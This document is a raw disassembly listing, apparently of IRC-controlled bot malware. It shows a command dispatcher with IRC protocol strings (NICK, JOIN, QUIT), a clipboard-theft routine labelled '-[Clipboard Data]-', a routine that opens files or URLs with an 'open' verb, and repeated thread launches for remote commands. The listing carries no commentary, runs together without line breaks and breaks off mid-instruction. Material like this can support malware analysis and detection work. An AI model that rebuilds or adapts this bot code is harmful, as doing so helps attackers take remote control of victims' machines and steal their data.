sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413929 loc_413913: ; CODE XREF: sub_40EE72+4AB5j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 25F0439h jmp short loc_413913 ; --------------------------------------------------------------------------- loc_413929: ; CODE XREF: sub_40EE72+4A9Fj nop call near ptr 2630313h push eax push offset dword_4385B0 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_41393A: ; CODE XREF: sub_40EE72+1BDCj ; sub_40EE72+1BF3j push edi call near ptr 27A0C9Ch nop test eax, eax jz short loc_413964 push edi push offset dword_4360D4 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A add esp, 10h jmp loc_4110DC ; --------------------------------------------------------------------------- loc_413964: ; CODE XREF: sub_40EE72+4AD1j push offset dword_436A74 call sub_40AA35 pop ecx push eax jmp loc_414564 ; --------------------------------------------------------------------------- loc_413975: ; CODE XREF: sub_40EE72+1BAEj ; sub_40EE72+1BC5j push edi call sub_41781F push eax call sub_415419 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_413992 push offset unk_43609C jmp short loc_413997 ; --------------------------------------------------------------------------- loc_413992: ; CODE XREF: sub_40EE72+4B17j push offset unk_436058 loc_413997: ; CODE XREF: sub_40EE72+4B1Ej lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_411100 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_411100 ; --------------------------------------------------------------------------- loc_4139D0: ; CODE XREF: sub_40EE72+1B80j ; sub_40EE72+1B97j push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_41518A add esp, 18h cmp eax, 1 push edi jnz short loc_4139F2 push offset unk_436024 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139F2: ; CODE XREF: sub_40EE72+4B74j push offset unk_435FE4 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4139FC: ; CODE XREF: sub_40EE72+1B52j ; sub_40EE72+1B69j push edi call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_413A36 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_43F620 cmp eax, ebx jz short loc_413A51 push dword ptr [eax] loc_413A1F: ; CODE XREF: sub_40EE72+4BDDj push edi lea eax, [ebp+var_2DC] push offset dword_435FB8 push eax call sub_4172B0 add esp, 10h jmp short loc_413A64 ; --------------------------------------------------------------------------- loc_413A36: ; CODE XREF: sub_40EE72+4B97j push edi call dword_43F6EC cmp eax, ebx jz short loc_413A51 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_43F6F4 push eax jmp short loc_413A1F ; --------------------------------------------------------------------------- loc_413A51: ; CODE XREF: sub_40EE72+4BA9j ; sub_40EE72+4BCDj push offset dword_435F80 loc_413A56: ; CODE XREF: sub_40EE72+3E2Fj ; sub_40EE72+3FBEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413A64: ; CODE XREF: sub_40EE72+2A25j ; sub_40EE72+3B37j ... cmp [ebp+var_8], ebx jnz loc_414AC3 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413A8E: ; CODE XREF: sub_40EE72+1B24j ; sub_40EE72+1B3Bj push 7Fh push edi push [ebp+arg_14] call sub_418C10 add esp, 0Ch push edi push offset dword_435F4C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AA7: ; CODE XREF: sub_40EE72+1AF6j ; sub_40EE72+1B0Dj push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi jz short loc_413AC7 push offset unk_435F10 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_40EE72+4C49j push offset unk_435ECC jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_413AD1: ; CODE XREF: sub_40EE72+1AC8j ; sub_40EE72+1ADFj mov al, [edi] mov byte_42F5C4, al movsx eax, byte ptr [edi] push eax push offset dword_435E98 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_413AE6: ; CODE XREF: sub_40EE72+1A9Aj ; sub_40EE72+1AB1j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push ebx push ebx lea eax, [ebp+var_B8] push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_2DC] push offset dword_4367E0 push eax call sub_4172B0 add esp, 0Ch jmp loc_412FD2 ; --------------------------------------------------------------------------- loc_413B34: ; CODE XREF: sub_40EE72+1A6Cj ; sub_40EE72+1A83j push edi call sub_41781F test eax, eax pop ecx jle loc_40F239 push edi call sub_41781F mov esi, 1F4h pop ecx cmp eax, esi jge loc_40F239 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 pop ecx pop ecx push esi nop call near ptr 25F0439h push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call dword_43F700 push [ebp+var_10] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450D4[eax] call near ptr 27B0A22h nop push edi call sub_41781F imul eax, 234h push edi mov dword_4450D4[eax], ebx call sub_41781F imul eax, 234h pop ecx pop ecx mov byte ptr dword_444EC0[eax], bl jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413BDD: ; CODE XREF: sub_40EE72+1A3Ej ; sub_40EE72+1A55j push edi push offset aAll ; "all" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413C1B call sub_416F25 cmp eax, ebx jle short loc_413C11 push eax push offset dword_435E4C loc_413BFD: ; CODE XREF: sub_40EE72+15E2j ; sub_40EE72+2A8Fj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_413C09: ; CODE XREF: sub_40EE72+3CA6j add esp, 0Ch jmp loc_41460C ; --------------------------------------------------------------------------- loc_413C11: ; CODE XREF: sub_40EE72+4D83j push offset dword_435E14 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_413C1B: ; CODE XREF: sub_40EE72+4D7Aj mov eax, [ebp+var_C0] lea edi, [eax+1] cmp edi, 20h jnb loc_40F239 lea eax, [ebp+edi*4+var_94] mov [ebp+arg_24], eax loc_413C37: ; CODE XREF: sub_40EE72+4E36j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_40F239 push esi call sub_41781F push eax call sub_416E97 pop ecx pop ecx test eax, eax push esi jz short loc_413C5E push offset dword_435DE0 jmp short loc_413C63 ; --------------------------------------------------------------------------- loc_413C5E: ; CODE XREF: sub_40EE72+4DE3j push offset dword_435DA4 loc_413C63: ; CODE XREF: sub_40EE72+4DEAj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413C93 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_413C93: ; CODE XREF: sub_40EE72+4E03j lea eax, [ebp+var_2DC] push eax call sub_40BF6D add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_413C37 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_413CAF: ; CODE XREF: sub_40EE72+1A10j ; sub_40EE72+1A27j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset dword_428598 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_435D7C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413CE9: ; CODE XREF: sub_40EE72+19E2j ; sub_40EE72+19F9j push edi push offset dword_436710 push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435D4C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D05: ; CODE XREF: sub_40EE72+19B4j ; sub_40EE72+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push edi push offset dword_435D1C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D28: ; CODE XREF: sub_40EE72+1986j ; sub_40EE72+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push offset dword_435CE8 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413D44: ; CODE XREF: sub_40EE72+194Bj ; sub_40EE72+1960j mov al, byte_42F5F2 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42F5F2 jz loc_40F239 mov ecx, edx loc_413D5B: ; CODE XREF: sub_40EE72+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_413D5B cmp al, bl jz loc_40F239 mov [ebp+arg_18], edx loc_413D70: ; CODE XREF: sub_40EE72+51BCj push 8 call sub_416FA4 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_413DBF push ecx lea eax, [ebp+var_2DC] push offset unk_437024 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414025 ; --------------------------------------------------------------------------- loc_413DBF: ; CODE XREF: sub_40EE72+4F18j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+var_318], 14h mov [ebp+var_32C], 7 mov [ebp+var_328], 140h mov [ebp+arg_0], ebx jz short loc_413E30 mov eax, [ebp+arg_18] mov edi, offset dword_42ACB0 lea esi, [eax-0Ah] loc_413DFA: ; CODE XREF: sub_40EE72+4FA0j lea eax, [edi-28h] push esi push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_413E16 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_413DFA jmp short loc_413E30 ; --------------------------------------------------------------------------- loc_413E16: ; CODE XREF: sub_40EE72+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_413E30: ; CODE XREF: sub_40EE72+4F7Bj ; sub_40EE72+4FA2j cmp [ebp+var_330], ebx jz loc_414039 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_413ED2 loc_413EB0: ; CODE XREF: sub_40EE72+505Ej cmp eax, ebx jz short loc_413ED2 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_413EB0 loc_413ED2: ; CODE XREF: sub_40EE72+503Cj ; sub_40EE72+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_41782A mov edi, offset aF ; "#f" push offset byte_43C80C push edi call sub_4176D0 add esp, 14h test eax, eax jz short loc_413F3C push edi lea eax, [ebp+var_3B4] push 80h push eax call sub_41782A add esp, 0Ch jmp short loc_413F42 ; --------------------------------------------------------------------------- loc_413F3C: ; CODE XREF: sub_40EE72+50B1j mov [ebp+var_3B4], bl loc_413F42: ; CODE XREF: sub_40EE72+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_413F54 mov eax, offset aSequential ; "Sequential" loc_413F54: ; CODE XREF: sub_40EE72+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_435C70 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413FDE loc_413FCC: ; CODE XREF: sub_40EE72+516Aj cmp [ebp+var_300], ebx jnz short loc_413FF9 push 32h nop call near ptr 25F0439h jmp short loc_413FCC ; --------------------------------------------------------------------------- loc_413FDE: ; CODE XREF: sub_40EE72+5158j call near ptr 2630313h nop push eax lea eax, [ebp+var_2DC] push offset unk_436F14 push eax call sub_4172B0 add esp, 0Ch loc_413FF9: ; CODE XREF: sub_40EE72+5160j cmp [ebp+var_8], ebx jnz short loc_414018 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414018: ; CODE XREF: sub_40EE72+518Aj lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx loc_414025: ; CODE XREF: sub_40EE72+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_413D70 jmp loc_40F239 ; --------------------------------------------------------------------------- loc_414039: ; CODE XREF: sub_40EE72+310Aj ; sub_40EE72+4FC4j push offset unk_435C2C jmp loc_4145FE ; --------------------------------------------------------------------------- loc_414043: ; CODE XREF: sub_40EE72+1921j ; sub_40EE72+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_435BF4 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_416D5C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_409037 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4140DC loc_4140C9: ; CODE XREF: sub_40EE72+5268j cmp [ebp+var_18], ebx jnz loc_414E11 push 32h nop call near ptr 25F0439h jmp short loc_4140C9 ; --------------------------------------------------------------------------- loc_4140DC: ; CODE XREF: sub_40EE72+5255j nop call near ptr 2630313h push eax push offset unk_435BA8 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_4140ED: ; CODE XREF: sub_40EE72+18F7j ; sub_40EE72+190Cj push 4 call sub_416FA4 test eax, eax pop ecx jle short loc_414103 push offset unk_435B7C jmp loc_410D38 ; --------------------------------------------------------------------------- loc_414103: ; CODE XREF: sub_40EE72+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_414126 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41413A ; --------------------------------------------------------------------------- loc_414126: ; CODE XREF: sub_40EE72+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx call near ptr 2640000h nop loc_41413A: ; CODE XREF: sub_40EE72+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_41414A mov esi, offset byte_42F674 loc_41414A: ; CODE XREF: sub_40EE72+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_41782A mov eax, dword_42F5AC push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_42B328 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_416D5C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_406C19 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41421D loc_414207: ; CODE XREF: sub_40EE72+53A9j cmp [ebp+var_560], ebx jnz loc_410E57 push 32h nop call near ptr 25F0439h jmp short loc_414207 ; --------------------------------------------------------------------------- loc_41421D: ; CODE XREF: sub_40EE72+5393j nop call near ptr 2630313h push eax push offset unk_435B34 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_41422E: ; CODE XREF: sub_40EE72+18CDj ; sub_40EE72+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_41424D push edi call sub_41781F test eax, eax pop ecx jz short loc_41424D push edi call sub_41781F pop ecx jmp short loc_414252 ; --------------------------------------------------------------------------- loc_41424D: ; CODE XREF: sub_40EE72+53C5j ; sub_40EE72+53D0j mov eax, dword_42F5B0 loc_414252: ; CODE XREF: sub_40EE72+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_414285 lea eax, [ebp+var_680] push esi push eax call sub_4172B0 pop ecx pop ecx jmp short loc_4142B0 ; --------------------------------------------------------------------------- loc_414285: ; CODE XREF: sub_40EE72+5400j lea eax, [ebp+var_3FC] push 104h push eax call near ptr 25F048Fh nop push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4192B8 add esp, 14h loc_4142B0: ; CODE XREF: sub_40EE72+5411j lea eax, [ebp+var_680] push eax call sub_417AB0 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_4142DB lea eax, [ebp+var_680] push eax call sub_417AB0 pop ecx mov [ebp+eax+var_681], bl loc_4142DB: ; CODE XREF: sub_40EE72+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B20C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_405AF2 push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414393 loc_41437D: ; CODE XREF: sub_40EE72+551Fj cmp [ebp+var_560], ebx jnz loc_4144E5 push 32h call near ptr 25F0439h nop jmp short loc_41437D ; --------------------------------------------------------------------------- loc_414393: ; CODE XREF: sub_40EE72+5509j call near ptr 2630313h nop push eax push offset unk_435AEC jmp loc_4144D6 ; --------------------------------------------------------------------------- loc_4143A4: ; CODE XREF: sub_40EE72+18A3j ; sub_40EE72+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4143C3 push edi call sub_41781F test eax, eax pop ecx jz short loc_4143C3 push edi call sub_41781F pop ecx jmp short loc_4143C8 ; --------------------------------------------------------------------------- loc_4143C3: ; CODE XREF: sub_40EE72+553Bj ; sub_40EE72+5546j mov eax, dword_42F5B4 loc_4143C8: ; CODE XREF: sub_40EE72+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_4143DF lea eax, [ebp+var_D8] loc_4143DF: ; CODE XREF: sub_40EE72+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_41782A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414401 mov esi, offset byte_43C80C loc_414401: ; CODE XREF: sub_40EE72+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_41782A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435AA0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_416D5C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset word_41570E push ebx push ebx call near ptr 2660D4Bh nop mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4144CA loc_4144B8: ; CODE XREF: sub_40EE72+5656j cmp [ebp+var_560], ebx jnz short loc_4144E5 push 32h nop call near ptr 25F0439h jmp short loc_4144B8 ; --------------------------------------------------------------------------- loc_4144CA: ; CODE XREF: sub_40EE72+5644j nop call near ptr 2630313h push eax push offset dword_435A54 loc_4144D6: ; CODE XREF: sub_40EE72+3627j ; sub_40EE72+3724j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_4144E5: ; CODE XREF: sub_40EE72+360Bj ; sub_40EE72+3708j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push edi jmp loc_411D2F ; --------------------------------------------------------------------------- loc_4144F5: ; CODE XREF: sub_40EE72+1879j ; sub_40EE72+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414508 push esi call sub_41781F jmp short loc_41450F ; --------------------------------------------------------------------------- loc_414508: ; CODE XREF: sub_40EE72+568Cj push 8 call sub_416FC3 loc_41450F: ; CODE XREF: sub_40EE72+5694j cmp eax, ebx pop ecx jz loc_414F47 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4071DB loc_41452A: ; CODE XREF: sub_40EE72+5B67j add esp, 10h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_414532: ; CODE XREF: sub_40EE72+184Fj ; sub_40EE72+1864j mov eax, dword_43F590 cmp eax, ebx jz short loc_41454F call eax test eax, eax jz short loc_414548 push offset unk_435A20 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414548: ; CODE XREF: sub_40EE72+56CDj push offset unk_4359E4 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_41454F: ; CODE XREF: sub_40EE72+56C7j push offset unk_4359A8 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414556: ; CODE XREF: sub_40EE72+1825j ; sub_40EE72+183Aj call sub_40AE02 test eax, eax jz short loc_41457A push offset unk_435974 loc_414564: ; CODE XREF: sub_40EE72+4AFEj ; sub_40EE72+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_4110BD ; --------------------------------------------------------------------------- loc_41457A: ; CODE XREF: sub_40EE72+56EBj push offset unk_435938 jmp short loc_414564 ; --------------------------------------------------------------------------- loc_414581: ; CODE XREF: sub_40EE72+17FBj ; sub_40EE72+1810j cmp [ebp+var_8], ebx jnz short loc_4145A0 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4145A0: ; CODE XREF: sub_40EE72+5712j push ebx push [ebp+var_4] call sub_40AABF push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4358F8 loc_4145BD: ; CODE XREF: sub_40EE72+5A09j ; sub_40EE72+5A3Bj call sub_40BF6D add esp, 18h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_4145CA: ; CODE XREF: sub_40EE72+171Cj ; sub_40EE72+1731j push 7 call sub_416FA4 test eax, eax pop ecx jle short loc_4145DD push offset dword_4358C0 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145DD: ; CODE XREF: sub_40EE72+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4145F9 push offset dword_435888 jmp short loc_4145FE ; --------------------------------------------------------------------------- loc_4145F9: ; CODE XREF: sub_40EE72+577Ej push offset dword_435858 loc_4145FE: ; CODE XREF: sub_40EE72+2C51j ; sub_40EE72+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_41460C: ; CODE XREF: sub_40EE72+15C6j ; sub_40EE72+2D61j ... cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push [ebp+var_4] loc_414619: ; CODE XREF: sub_40EE72+3963j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_414629: ; CODE XREF: sub_40EE72+2ECBj call sub_40D679 add esp, 14h jmp loc_414E11 ; --------------------------------------------------------------------------- loc_414636: ; CODE XREF: sub_40EE72+16F2j ; sub_40EE72+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A4AC jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41464F: ; CODE XREF: sub_40EE72+16C8j ; sub_40EE72+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D320 jmp loc_40F236 ; --------------------------------------------------------------------------- loc_41466C: ; CODE XREF: sub_40EE72+169Ej ; sub_40EE72+16B3j or edi, 0FFFFFFFFh call near ptr 25E08E4h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_414695 push esi call sub_41781F pop ecx mov edi, eax loc_414695: ; CODE XREF: sub_40EE72+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_4146AE cmp edi, 0FFFFFFFFh jnz loc_414F47 loc_4146AE: ; CODE XREF: sub_40EE72+5831j push ebx call sub_40B721 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_435830 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_411A5D ; --------------------------------------------------------------------------- loc_4146F1: ; CODE XREF: sub_40EE72+1674j ; sub_40EE72+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408C26 add esp, 0Ch push offset unk_435800 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_41470F: ; CODE XREF: sub_40EE72+164Aj ; sub_40EE72+165Fj push 1Fh call sub_416FA4 test eax, eax pop ecx jle short loc_414738 cmp [ebp+var_8], ebx jnz loc_40F239 push ebx push [ebp+var_4] push offset unk_4357CC push [ebp+var_8C] jmp loc_40F7A0 ; --------------------------------------------------------------------------- loc_414738: ; CODE XREF: sub_40EE72+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_414799 push esi push offset aFull ; "full" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_414799 mov [ebp+var_46C], 1 loc_414799: ; CODE XREF: sub_40EE72+590Aj ; sub_40EE72+591Bj lea eax, [ebp+var_2DC] push offset dword_435794 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_41533B push ebx push ebx nop call near ptr 2660D4Bh mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414807 loc_4147F1: ; CODE XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 push 32h nop call near ptr 25F0439h jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj nop call near ptr 2630313h push eax push offset unk_435744 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_43571C push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push 